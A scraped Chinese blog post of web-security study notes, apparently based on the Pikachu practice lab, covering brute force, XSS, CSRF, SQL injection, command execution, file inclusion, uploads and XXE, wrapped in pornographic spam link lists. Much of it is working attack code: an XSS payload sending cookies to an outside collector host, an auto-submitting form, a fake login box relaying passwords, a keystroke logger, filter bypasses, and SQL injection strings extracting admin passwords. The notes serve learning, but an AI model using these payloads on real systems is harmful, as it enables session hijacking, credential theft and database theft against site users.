日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

web安全攻防从入门到放弃-记录

發布時間:2024/1/23 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 web安全攻防从入门到放弃-记录 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.暴力破解攻擊

連續性嘗試 + 字典 + 自動化

一個有效的字典,可以大大的提高暴力破解的效率

?a. 常用的賬號密碼(弱口令),比如常用用戶名/密碼TOP 500等。

?b.互聯網上被脫褲后賬號密碼(社工庫),比如CSDN當年泄露的約600w用戶信息。

?c.使用指定的字符使用工具按照指定的規則進行排列組合算法生成的密碼。

思路:

? a.是否要求用戶設置了復雜的密碼;

? b.是否每次認證都是用安全的驗證碼;

? c.是否對嘗試登陸的行為進行判斷和限制;

? d.是否在必要的情況下采用了雙因素認證;

測試流程

? a.確認登錄接口的脆弱性;

? b.對字典進行優化;

? c.工具自動化操作。

技巧

? a.根據注冊提示信息進行優化,對目標站點進行注冊,搞清楚賬號密碼的一些限制,比如目標站點要求密碼必須是6位以上,字母數字組合,則可以按照此優化字典,比如去掉不符合要求的密碼。

? b.如果爆破的是管理后臺,往往這種系統的管理員是admin/administrator/root的幾率比較高,可以使用這三個賬號+隨便一個密碼,嘗試登陸,觀看返回的結果,確定用戶名。

? ? 比如:

? ? ?輸入xxx/yyyf返回"用戶名或密碼錯誤";

? ? ?輸入admin/yyy返回"密碼錯誤", 則基本可以確定用戶名是admin;因此可以只對密碼進行爆破即可,提高效率。

2.burp suite介紹

?target選項卡: 設置攻擊目標,可以通過proxy發送;

pasitions選項卡:指定需要暴力破解的參數并設置成變量,同時選擇攻擊模式:

? ?Sniper:狙擊手---設置一個payload,先將第一個變量使用字典進行測試,然后在將第二個變量使用字典進行測試;

? ?Battering ram:沖撞車---設置一個payload,所有的變量一起用字典內容被替換,然后一起嘗試;

? ?Ptichfork:草叉型---每個變量設置一個payload,分別使用對應的字典對變量進行同時替換;

? ?Cluster bomb:焦束炸彈---需要為每個變量設置一個payload,分別使用字典內容組合對變量進行替換;

3.聊聊“驗證碼”

? ?目的:a.登錄暴力破解 b.防止機器惡意注冊

驗證碼的認證流程:

? 客戶端request登錄頁面,后臺生成驗證碼:

? ? 1.后臺使用算法生成圖片,并將圖片response給客戶端:

? ? 2.同時將算法生成的值全局賦值存到SESSION中;

? 校驗驗證碼:

? ? 1.客戶端將認證信息和驗證碼一同提交;

? ? 2.后臺對提交的驗證碼與SESSION里面的進行比較;

? 客戶端重新刷新頁面,再次生成新的驗證碼:

? ? 驗證碼算法中一般包含隨機函數,所以每次刷新都會改變。

? 不安全的驗證碼-on client常見問題:

? ? ?使用前端js實現驗證碼(紙老虎);

? ? ?將驗證碼在cookie中泄露,容器被獲取;

? ? ?將驗證碼在前端源代碼中泄露,容易被獲取。

? 不安全的驗證碼-on server常見問題:

? ? ? 驗證碼在后臺不過期,導致可以長期被使用;

? ? ? 驗證碼校驗不嚴格,邏輯出現問題;

? ? ? 驗證碼設計的太過簡單和有規律,容易被猜解

目前簡單的驗證碼已經有很成熟的識別技術,基本也等于形同虛設,你想想12306的驗證碼為啥要弄得很復雜~

有一個案例是存儲在SESSION中的驗證碼有過期值,但每次使用完驗證碼,并沒有手動銷毀存儲在SESSION中的記錄,導致可以暴力破解。

4.暴力破解防范

token防不了暴力破解,一個簡單的token的實例:

//生成一個token,以當前微妙時間+一個5位的前綴 function set_token(){if (isset($_SESSION['token'])) {unset($_SESSION['token']);}$_SESSION['token']=str_replace('.', '', uniqid(mt_rand(10000, 99999), true)); }

一般的做法:

? 1.將token以"type='hidden'"的形式輸出在表單中;

? ?2.在提交的認證的時候一起提交,并在后臺對其進行校驗;

但是,由于其token值輸出在了前端源碼中,容易被獲取,因此也就失去了防暴力破解的意義。一般Token在防止CSRF上會有比較好的功效。

5.跨站腳本漏洞

? ?XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬于前三的江湖地位。

? ?XSS是一種發生在Web前端的漏洞,所以其危害的對象也主要是前端用戶。

? ?XSS漏洞可以用來進行釣魚攻擊、釣魚攻擊、前端js挖礦、用戶cookie獲取。甚至可以結合瀏覽器自身的漏洞對用戶主機進行遠程控制等

? ? XSS(竊取cookie)攻擊流程:

? ??

? ?危害:存儲型>反射型>DOM型

? ? 反射型: 交互的數據一般不會被存在在數據庫里面,一次性,所見即所得,一般出現在查詢類頁面等。

? ? 存儲型:交互的數據會被存在在數據庫里面,永久性存儲,一般出現在留言板,注冊等頁面。

? ? DOM型:不與后臺服務器產生數據交互,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性也屬于反射型。

? ?跨站腳本漏洞測試流程:

? ? ?1.在目標站點上找到輸入點,比如查詢接口,留言板等;

? ? ?2.輸入一組"特殊字符+唯一識別字符", 點擊提交后,查看返回的源碼,是否有做對應的處理;

? ? ?3.通過搜索定位到唯一字符,結合唯一字符前后語法確認是否可以構造執行js的條件(構造閉合);

? ? ?4.提交構造的腳本代碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞;

? ?TIPS:

? ? ? 1.一般查詢接口容易出現反射型XSS,留言板容易出現存儲型XSS;

? ? ? ?2.由于后臺可能存在過濾措施,構造的script可能會被過濾掉,而無法生效,或者環境限制了執行(瀏覽器);

? ? ? ?3.通過變化不同的script,嘗試繞過后臺過濾機制。

6.反射型XSS的后臺代碼示例:

$html=''; if(isset($_GET['submit'])) {if (empty($_GET['message'])) {$html.="<p class='notice'>輸入'kobe'試試-_-</p>";} else {if ($_GET['message'] == 'kobe') {$html.="<p class='notice'>愿你和{$_GET['message']}一樣,永遠年輕,永遠熱血沸騰!</p><img...>} else {$html.="<p class='notice'>who is {$_GET['message']}, i don't care!</p>";}} }

7.存儲XSS漏洞:

? ? 存儲型XSS漏洞跟反射型形成的原因一樣,不同的是存儲型XSS下攻擊者可以將腳本注入到后臺存儲起來,構成更加持久的尾號,因此存儲型XSS也稱"永久性"XSS。

? ? 我們可以首先嘗試使用一些如'、"、<>、?、&等特殊字符來試一下能不能正常跑完一個流程,然后有了這個“基礎”,再“循序漸進”嘗試其他復雜的。

? ? 后臺存儲代碼示例:

$link=connect(); $html=''; if (array_key_exists("message", $_POST) && $_POST['message'] != null) {$message = escape($link, $_POST['message']);$query="insert into message(content, time) values('$message', now())";$result = execute($link, $query);if (mysqli_affected_rows($link) != 1) {$html .= "<p>數據庫出現異常,提交失敗!</p>";} }

8.DOM XSS漏洞舉例
直接上代碼可以看懂:

<div id="xssd_main"><script>function domxss() {var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you sess?</a>";}//試試: '><img src="#" onmouseover="alert('xss')">//試試: ' onclick="alert('xss')">,閉合掉就行</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text" value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div> </div>

本質上還是在原有的框架中做“更多的事情”(比如彈框等)。

dom型xss不涉及后端代碼,看起來像個雞肋,但如果dom型xss輸入點變成了反射型xss。

9.cookie獲取和釣魚攻擊

? ?cookie獲取圖示:

? 上圖中的攻擊者的后臺代碼:

//這個是獲取cookie的api頁面 if (isset($_GET['cookie'])) {$time = date('Y-m-d g:i:s');$ipaddress = getenv('REMOTE_ADDR');$cookie = $_GET['cookie'];$referer = $_SERVER['HTTP_REFERER'];$useragent = $_SERVER['HTTP_USER_AGENT'];$query = "insert cookies(time, ipaddress, cookie, referer, useragent)values('$time', '$ipaddress', '$cookie', '$referer', '$useragent')";$result = mysqli_query($link, $query); } header("Location:http://192.168.1.4/pikachu/index.php"); //重定向到一個可信的網站

? 在有xss的輸入框中寫上如下內容:

? ?<script>document.location='http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>

? ?然后點擊提交按鈕,就會執行腳本,并將cookie值發送給外部網站,造成cookie泄露。

10.post方式的xss

? ?在get方式的xss基礎上多做了一步(主動構造),看代碼:

? 以下放在192.168.1.5機器,然后用戶訪問http://192.168.1.5/post.html

<html> <head> <script>window.onload = function() {document.getElementById("postsubmit").click();} </script> </head> <body><form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php"><input id="xssr_in" type="text" name="message" value = "<script>document.location='http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>"/><input id="postsubmit" type="submit" name="submit" value="submit" /></form> </body> </html>

11.XSS釣魚

? ? 代碼如下:

if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {//發送認證框,并給出迷惑性的infoheader('Content-type:text/html;charset=utf-8');header("WWW-AUthenticate: Basic realm='認證'");header('HTTP/1.0 401 Unauthorized');echo 'Authorization Required.';exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))) {//將結果發送給收集信息的后臺,請將這里的IP地址修改為管理后臺的IPheader("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USERNAME]}&password={$_SERVER[PHP_AUTH_PW]}"); }

?12.xss獲取鍵盤記錄

? ?后臺接收的代碼:

$link=connect();//設置允許被跨域訪問,不然在其他站點運行會報錯。 header("Access-Control-Allow-Origin:*");$data = $_POST['datax']; $query = "insert keypress(data) values('$data')"; $result = mysqli_query($link, $query);

? ?前端調用的頁面代碼:

function createAjax() {var request=false;if (window.XMLHttpRequest) {request = new XMLHttpRequest();if (request.overrideMimeType) {request.overrideMimeType("text/xml");}} else if (window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP'];for (var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);if (request) {return request;}} catch(e) {request = false;}}}return request; }var ajax=null; var xl = "datax=";function onkeypress() {var realkey = String.fromCharCode(event.keyCode);xl += realkey;show(); }document.onkeypress = onkeypress;function show() {ajax = createAjax();ajax.onreadystatechange = function() {if (ajax.readyState == 4) {if (ajax.status == 200) {var data = ajax.responseText;} else {alert("頁面請求失敗");}}}var postdata = xl;ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php", true);ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajax.setRequestHeader("Content-Length", postdata.length);ajax.setRequestHeader("Connection", "close");ajax.send(postdata); }

13.XSS盲打---指的是前端注入xss代碼,后臺管理員登錄時就會彈框,導致漏洞。

14.XSS繞過-過濾-轉換

? ? 1.前端限制繞過,直接抓包重放,或者修改html前端代碼

? ? 2.大小寫,比如:<SCRIPT>aLeRT(111)</sCRIpt>

? ? 3.拼湊:<sci<script>pt>alert(111)</scri</script>pt>

? ? 4.使用注釋進行干擾:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>

XSS繞過的姿勢有很多,取決于你的思路和對前端技術的掌握程度。

? 如下的過濾條件只對小寫有效,所以可以繞過:

$html=''; if (isset($_GET['submit']) && $_GET['message'] != null) {//這里會使用正則對<script進行替換為空,也就是過濾掉$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);if ($message == 'yes') {$html .= "<p>那就去人民廣場一個人坐一會兒吧!</p>";} else {$html .= "<p>別說話</p>";} }

繞過上面的例子有:

? ? 1.<img src=x οnerrοr="alert(111)">

? ? 2.<ScRiPT>alert(111)</Script>

15.XSS繞過-關于htmlspecialchars()函數

? ? htmlspecialchars()函數把預定義的字符轉換為HTML實體。

? ? 預定義的字符是:

? ? ?&(和號)成為&amp

? ? ?"(雙引號)成為&quot

? ? ?'(單引號)成為&#039

? ? ?<(小于)成為&lt

? ? ?>(大于)成為&gt

? ? 可用的引號類型:

? ? ? ENT_COMPAT - 默認。僅編碼雙引號。

? ? ? ENT_QUOTES - 編碼雙引號和單引號。

? ? ? ENT_NOQUOTES - 不編碼任何引號。

這塊可能由程序員對此函數的使用有問題導致漏洞。

16.XSS常見防范措施

? ? 總的原則:輸入做過濾,輸出做轉義。

? ? 代碼示例:

if (isset($_GET['submit'])) {if (empty($_GET['message'])) {$html .= "<p class='notice'>叫你輸入個url,你咋不聽?</p>";}if ($_GET['message'] == 'www.baidu.com') {$html .= "<p class='notice'>我靠,我真想不到你是這樣的一個人</p>";} else {//輸出在a標簽的href屬性里面,可以使用javascript協議來執行js//防御:只允許http,https,其次在進行htmlspecialchars處理$message = htmlspecialchars($_GET['message'],ENT_QUOTES);$html .= "<a href='{$message}'>閣下自己輸入的url還請自己點一下吧</a>";} }

17.CSRF漏洞解析-目錄

? ? 在CSRF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一個鏈接),然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊也就完成了。所以CSRF攻擊也被稱為"one click"攻擊。

? ? 小黑想要修改lucy的個人信息,應該怎么辦?

? ? ? -需要有lucy的權限!

? ? 于是小黑將修改個人信息的請求偽造一下,然后引誘lucy在登陸的情況下點擊,攻擊成功了!

http://192.168.112.200/ant/vulnerabilities/csrf/csrfget/csrf_mem_edit.php?sex=女&phonenum=13856564455&add=火星村111號&email=lucy@pikachu.com&submit=submit

? ? 為什么小黑的攻擊可以成功?

? ? 條件1:xxx購物網站沒有對個人信息修改的請求進行防CSRF處理,導致該請求容易被偽造。

? ? 因此,我們判斷一個網站是否存在CSRF漏洞,其實就是判斷其對關鍵信息(比較密碼等敏感信息)的操作(增刪改)是否容易被偽造。

? ? 條件2:lucy在登陸了后臺的情況下,點擊了小黑發送的“埋伏”鏈接。如果lucy不在登陸狀態下,或者lucy根本就沒有點擊這個鏈接,則攻擊不會成功。

? ? 如果小黑事先在xx網的首頁如果發現了一個XSS的漏洞,則小黑可能會這樣做:

1.欺騙lucy訪問埋伏了XSS腳本(盜取cookie的腳本)的頁面;

2.lucy中招,小黑盜取到lucy的cookie:

3.小黑順利登陸到lucy的后臺,小黑自己修改lucy的相關信息;

? ?所以跟上面比一下,就可以看出CSRF與XSS的區別:

? ?CSRF是借用戶的權限來完成攻擊,攻擊者并沒有拿到用戶的權限,而XSS是直接盜取了用戶的權限,然后實施破壞。

? ?如何確認一個web系統存在CSRF漏洞

1.對目標網站增刪改的地方進行標記,并觀察其邏輯,判斷請求是否可以被偽造

? ?---比如修改管理員賬號時,并不需要驗證舊密碼,導致請求容易被偽造;

? ?---比如對于敏感信息的修改并沒有使用安全的token驗證,導致請求容易被偽造。

2.確認憑證的有效期(這個問題會提高CSRF被利用的概率)

? ---雖然退出或者關閉了瀏覽器,但cookie仍然有效,或者session并沒有及時過期,導致CSRF攻擊變得簡單。

18.Token是如何防止CSRF的?

?CSRF的主要問題是敏感操作的鏈接容易被偽造,那么如何讓這個鏈接不容易被偽造?

? ? --每次請求,都增加一個隨機碼(需要夠隨機,不容易偽造),后臺每次對這個隨機碼進行驗證!

? 防范措施:

增加token的驗證(常用的做法):

?1.對關鍵操作增加token參數,token值必須隨機,每次都不一樣;

關于安全的會話管理(避免會話被利用):

1.不要在客戶端保存敏感信息(比如身份認證信息);

2.測試直接關閉,退出時,會話過期機制;

3.設置會話過期機制,比如15分鐘內無操作,則自動登錄超時;

訪問控制安全管理:

1.敏感信息的修改時需要對身份進行二次認證,比如修改賬號時,需要判斷舊密碼;

2.敏感信息的修改使用post,而不是get:

3.通過http頭部中的referer來限制原頁面

增加驗證碼:

一般用在登錄(防暴力破解),也可以用在其他重要信息操作的表單中(需要考慮可用性).

19.SQL Inject漏洞攻擊流程

第一步:注入點探測

? ? 自動方式:使用web漏洞掃描工具,自動進行注入點發現

? ? 手動方式:手工構造sql inject測試語句進行注入點發現

第二步:信息獲取

? ? 通過注入點取期望得到的數據。

? ? 1、環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等。

? ? 2、數據庫信息:數據庫名稱,數據庫表,表字段,字段內容(加密內容破解)

第三步:獲取權限

? ? 獲取操作系統權限:通過數據庫執行shell,上傳木馬

? ? 判斷注入點的類型?

?數字型? ?user_id=$id

字符型? ? user_id='$id'

搜索型? text LIKE '%{$_GET['search']}%'"

20.數字型sql注入

? 后臺代碼如下:

if (isset($_POST['submit']) && $_POST['id'] != null) {//這里沒有做任何處理,直接拼到select里面去了,形成sql注入$id = $_POST['id'];$query="select username, email from member where id=$id";$result = execute($link, $query); }

21.字符型sql注入

? ? 后臺代碼如下:

if (isset($_GET['submit']) && $_GET('name') != null) {//這里沒有做任何處理,直接拼到select里面去了$name = $_GET['name'];//這里的變量是字符型,需要考慮閉合$query="select id,email from member where username='$name'";$result = execute($link, $query); }

22.搜索型注入

? ? 后臺代碼如下:

if (isset($_GET['submit']) && $_GET['name'] != null) {//這里沒有做任何處理,直接拼到select里面去了$name = $_GET['name'];//這里的變量是模糊匹配,需要考慮閉合$query = "select username,id,email from member where username like '%$name%'";$result = execute($link, $query); }

攻擊例子:

xxxx%' or 1=1 #

? ? 關鍵點是猜測出后臺變量的拼接方式,然后閉合掉前面的,執行我們自己的。

? ?此處我們的流程是看完后臺代碼,然后找出閉合點構造攻擊,正常情況下,我們是不知道后臺代碼,這時候就需要前端嘗試攻擊,并根據返回結果判斷是否具有攻擊點。比如只輸入一個單引號,這時候看返回的錯誤提示可以判斷是否有攻擊點。

注入方式get&post區別

? ? GET方式中使用URL提交注入數據;

? ? POST方式中使用抓包工具修改post數據部分提交注入;

23.SQLI-基于union聯合查詢的信息獲取

? ? union聯合查詢:可以通過聯合查詢來查詢指定的數據

select username,password from user where id=1 union select 字段1,字段2 from 表名

? ? information_schema

在mysql中,自帶的information_schema這個表里面存放了大量的重要信息。具體如下:

如果存在注入點的話,可以直接嘗試對該數據庫進行訪問,從而獲取更多的信息。

比如:

SCHEMATA表:提供了當前mysql實例中所有數據庫的信息。是show databases的結果取之此表。

TABLES表:提供了關于數據庫中的表的信息(包括視圖)。詳細表述了某個表屬于哪個schema,表類型,表引擎,創建時間等信息。是show tables from schemaname的結果取之此表。

COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結果取之此表。

24.基于報錯的信息獲取-三個常用的用來報錯的函數-updatexml()

Updatexml()函數作用:改變(查找并替換)XML文檔中符合條件的節點的值。

語法:UPDATEXML(xml_document, XPathstring, new_value)

第一個參數:fiedname是String格式,為表中的字段名。

第二個參數:XPathstring(Xpath格式的字符串).

第三個參數:new_value,String格式,替換查找到的符合條件的

Xpath定位必須是有效的,否則會發生錯誤。

攻擊示例:

kobe' and updatexml(1,concat(0x7e,version()), 0)#

kobe' and updatexml(1,concat(0x7e,database()), 0)#

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)), 0)#

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

25.基于boolean的盲注案例

kobe' and ascii(substr(database(),1,1))>113#(select table_name from information_schema.tables where table_schema=database() limit 0,1)

26.sqlmap經典用法

第一步:

-u?"xxx" --cookie="yyy" //帶上cookie對URL進行注入探測

第二步:

-u "xxx" --cookie="yyy" --current-db //對數據庫名進行獲取

第三步:

-u "xxx" --cookie="yyy" -D pikachu --tables//對數據庫的表名進行枚舉

第四步:

-u "xxx" --cookie="yyy" -D pikachu -T users --columns //對dvwa庫里面的名為users表的列名進行枚舉

27.rce

? ? 后臺代碼:

if (isset($_POST['submit']) && $_POST['ipaddress'] != null) {$ip = $_POST['ipaddress'];if (stristr(php_uname['s'], 'windows')) {result .= shell_exec('ping '.$ip);//直接將變量進行拼接,沒做處理} else {$result .= shell_exec('ping -c 4 '.$ip);} }

28.文件包含漏洞

? 在web后臺開發中,程序員往往為了提高效率以及讓代碼看起來更加簡潔,會使用"包含"函數功能,比如把一系列功能函數都寫進function.php中,之后當某個文件需要調用的時候就直接在文件頭中寫上一句<?php include function.php?>就可以調用函數代碼。

但有些時候,因為網站功能需求,會讓前端用戶選擇需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于開發人員沒有對要包含的這個文件進行安全考慮,就導致攻擊者可以通過修改包含文件的位置來讓后臺執行任意文件(代碼)。

這種情況我們稱為"文件包含漏洞"

文件包含漏洞有“本地文件包含漏洞”和“遠程文件包含漏洞”兩種情況。

后臺代碼:

$html=''; if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename'];include "include/$filename": //變量傳進來直接包含,沒做任何的安全限制//安全的寫法,使用白名單,嚴格制定包含的文件名//if ($filename == 'file1.php' || $filename == 'file2.php' || $filename == 'file3.php')//include "include/$filename";//} }

遠程文件包含漏洞形式跟本地文件包含漏洞差不多,在遠程包含漏洞中,攻擊者可以通過訪問外部地址來加載遠程的代碼。

遠程包含漏洞前提:如果使用的include和require,則需要php.ini配置如下(php5.4.34):

allow_url_fopen = on //默認打開

Allow_url_include = on //默認關閉

后臺代碼:

//遠程文件包含漏洞,需要php.ini的配置文件符合相關的配置 $html = ''; if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename'];include "$filename"; //變量傳進來直接包含,沒做任何的安全措施 }

29.不安全的下載

? 后臺代碼:

?

<?php$PIKA_ROOT_DIR = "../../";include_once $PIKA_ROOT_DIR = "inc/function.php";header("Content-type:text/html;charset=utf-8"); $file_path = "download/{$_GET['filename']}"; //用以解決中文不能顯示出來的問題 $file_path = iconv("utf-8", "gb2312", $file_path);//首先要判斷給定的文件存在與否 if (!file_exists($file_path)) {skip("你要下載的文件不存在,請重新下載", 'unsafe_down.php');return; }$fp = fopen($file_path, "rb"); $file_size = filesize($file_path); //下載文件需要用到的頭 ob_clean(); //輸出錢一定要clean一下,否則圖片打不開 Header("Content-type: application/actext-stream"); Header("Accept-Ranges: bytes"); Header("Accept-Length:".$file_size); Header("Content-Disposition: attachment; filename=".basename($file_path)); $buffer=1024; $file_count = 0;//向瀏覽器返回數據//循環讀取文件流,然后返回到瀏覽器feof確認是否到EOF while (!feof($fp) && $file_count*$file_size) {$file_con = fread($fp, $buffer);$file_count == $buffer;return $file_con; } fclose($fp);

? 防范措施:

1.對傳入的文件名進行嚴格的過濾和限定

2.對文件下載的目錄進行嚴格的限定。

30.不安全的文件上傳漏洞

因為業務功能需要,很多web站點都有文件上傳的接口,比如:

? 1.注冊時上傳頭像圖片(比如jsg,png,gif等);

? 2.上傳文件附件(doc,xls等);

而在后臺開發時并沒有對上傳的文件功能進行安全考慮或者才用了有缺陷的措施,導致攻擊者可以通過一些手段繞過安全措施從而上傳一些惡意文件(如:一句話木馬),從而通過對惡意文件的訪問來控制整個web后臺。

? 測試流程:

1.對文件上傳的地方按照要求上傳文件,查看返回結果(路徑,提示等);

2.嘗試上傳不同類型的"惡意"文件,比如xx.php文件,分析結果;

3.查看html源碼,看是否通過js在前端做了上傳限制,可以繞過;

4.嘗試使用不同方式進行繞過:黑白名單繞過/MIME類型繞過/目錄0x00截斷繞過等;

5.猜測或者結合其他漏洞(比如敏感信息泄露等)得到木馬路徑,連接測試;

31.文件上傳漏洞-type驗證原理和繞過

? ? 后臺代碼:

$html=''; if (isset($_POST['submit'])) {$mime = array('image/jpg', 'image/jpeg', 'image/png'); //指定MIME類型,這里只是對MIME類型做了判斷$save_path = 'uploads'; //指定在當前目錄建立一個目錄$upload = upload_sick('uploadfile', $mime, $save_path);//調用函數if ($upload['return']) {$html .= "<p class='notice'>文件上傳成功</p><p class='notice'>文件保存的路徑為</p>";} else {$html.="<p class=notice>{$upload['error']}</p>";} }

32.getimagesize()

Getimagesize()返回結果中有文件大小和文件類型,如果用這個函數來獲取類型,從而判斷是否是圖片的話,會存在問題。

是否可以繞過呢?可以,因為圖片可以被偽造。

圖片木馬的制作:

方法1:直接偽造頭部GIF89A

方法1:CMD:copy /b test.png + muma.php cccc.png

方法2:使用GIMP(開源的圖片修改軟件),通過增加備注,寫入執行命令。

等到木馬圖片上傳成功后,可以利用文件包含include來對此圖片路徑進行include,此時隱藏在最后的代碼就會被執行。

防范措施:

1.不要在前端使用JS實施上傳限制策略

2.通過服務端對上傳文件進行限制:

? a.進行多條件組合檢查:比如文件的大小、路徑,擴展名,文件類型,文件完整性

? b.對上傳的文件在服務器上存儲時進行重命名(指定合理的命令規則)

? c.對服務器端上傳文件的目錄進行權限控制(比如只讀),限制執行權限帶來的危害

33.越權漏洞

? 后臺代碼:

$link = connect(); //判斷是否登錄,沒有登錄不能訪問 if (!check_op_login($link)) {header("location:op1_login.php"); } $html = ''; if (isset($_GET['submit']) && $_GET['username'] != null) {//沒有使用session來校驗,而是使用的傳進來的值,權限校驗出現問題,這里應該跟登錄態關系進行綁定$username = escape($link, $_GET['username']);$query = "select * from member where username = '$username'";$result = execute($link, $query); }

34.XXE漏洞

?simplexml_load_string()

函數轉換形式良好的XML字符串為SimpleXMLElement對象

在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,默認是禁止解析xml外部實體內容的。

XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致攻擊者可以構造一個惡意的XML。

?

總結

以上是生活随笔為你收集整理的web安全攻防从入门到放弃-记录的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 欧美国产日韩一区二区三区 | av毛片在线免费观看 | 日韩视频一区二区三区四区 | 韩国福利一区 | 国产精品成人av性教育 | 成人免费高清 | 男人猛进女人爽的大叫 | 日韩成人在线视频观看 | 91久久精品国产91久久性色tv | 国产微拍精品一区 | 在线免费观看av网 | 久久久6| 中文字幕视频一区二区 | 成人超碰| 中文视频在线观看 | 欧美人与性动交α欧美精品 | 日韩一级中文字幕 | 99精品国产99久久久久久97 | 国产aaaaa毛片 | 99小视频| 午夜一区二区三区 | 自拍视频一区 | 国产福利一区二区 | 四色成人av永久网址 | 狠狠人妻久久久久久综合蜜桃 | 女人一区二区三区 | 又粗又猛又爽又黄少妇视频网站 | 少妇一边呻吟一边说使劲视频 | av在线不卡播放 | www日韩视频| a毛片基地 | 亚欧美视频 | 欧美韩一区二区 | 狠狠狠狠狠狠狠干 | 女人叫床很黄很污句子 | 国产精品天天干 | 免费看黄色一级视频 | www.久久99| 久久久精品 | 饥渴放荡受np公车奶牛 | 黄色在线免费观看视频 | 91视频网| 一区二区在线不卡 | 天天操夜夜摸 | 亚洲欧洲精品一区二区三区 | 国产综合在线观看视频 | 91在线免费视频 | 国产一区二区三区视频在线观看 | 亚洲a中文字幕 | 狂野欧美| 国产一级影院 | 欧美黑人精品一区二区 | 亚洲综合在线视频 | 四虎免费看黄 | 欧美色图30p | 蜜桃一区二区三区 | 美女av毛片| 国产主播自拍av | 欧美日b片 | 国产精品美女www | 欧美日韩精品一区二区在线播放 | 婷婷天堂网| 电影寂寞少女免费观看 | 自拍偷自拍亚洲精品播放 | 网站在线播放 | 精品无码人妻一区二区三区品 | 波多野结衣中文字幕一区二区三区 | 欧美在线一区二区三区四区 | 182tv午夜福利在线观看 | 国产福利小视频在线 | 久草剧场 | 天天干,天天操,天天射 | 日本 奴役 捆绑 受虐狂xxxx | 91久久婷婷 | 91精品又粗又猛又爽 | 天天色天天看 | 69视频国产 | 成人午夜激情影院 | 日韩高清av| 久久婷婷五月国产色综合激情 | 亚洲黄色免费看 | 久久成人在线观看 | 欧洲av无码放荡人妇网站 | 亚洲成人一区在线 | 国产香蕉一区 | 在线观看免费视频一区 | 亚洲爽爆 | 一区二区三区在线观 | 国产一区2 | 91嫩草网 | 手机在线观看av网站 | av性色| 末发成年娇小性xxxxx | 亚洲国产精彩中文乱码av | 在线精品视频一区 | 久久中文字幕一区 | 国产一区二区三区影视 | 插插插91 | 成人欧美一区二区三区黑人动态图 |